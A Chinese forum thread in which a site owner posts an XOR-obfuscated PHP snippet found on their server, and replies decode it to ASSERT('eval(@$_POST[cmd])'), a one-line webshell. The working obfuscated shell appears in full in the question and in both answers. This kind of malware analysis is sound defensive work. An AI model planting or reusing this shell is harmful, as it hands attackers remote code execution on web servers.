<?php
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
?>这是网站上面弄出来了 ,应该是中马了,大神帮我分析下什么意思

解决方案 »

  1.   

    $s =<<< 'TXT'
    ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
    ${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
    TXT;preg_match_all('/\(("[^\)]+)/', $s, $m);
    foreach($m[1] as $v) printf("%s => %s\n", $v, eval("return $v;"));
    "#"^"|" => _
    "#"^"|" => _
    "!"^"`" => A
    "( "^"{" => S
    "("^"[" => s
    "~"^";" => E
    "|"^"." => R
    "*"^"~" => T
    "#"^"|" => _
    "#"^"|" => _
    "-"^"H" => e
    "]"^"+" => v
    "["^":" => a
    ","^"@" => l
    "}"^"U" => (
    "~"^">" => @
    "e"^"A" => $
    "("^"w" => _
    "j"^":" => P
    "i"^"&" => O
    "#"^"p" => S
    ">"^"j" => T
    "!"^"z" => [
    "]"^">" => c
    "@"^"-" => m
    "["^"?" => d
    "?"^"b" => ]
    "]"^"t" => )
    接下来自己分析
      

  2.   

    好人做到底$s =<<< 'TXT'
    ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
    ${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("~"^">"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("]"^">"). ("@"^"-"). ("["^"?"). ("?"^"b"). ("]"^"t"));
    TXT;
     
    $t = preg_replace_callback('/\(("[^\)]+)./', function($m) { return "'" . eval("return $m[1];")."'";}, $s);
    echo preg_replace("/'\.\s*'/", '', $t);
    ${'__'}='ASsERT';
    ${'__'}('eval(@$_POST[cmd])');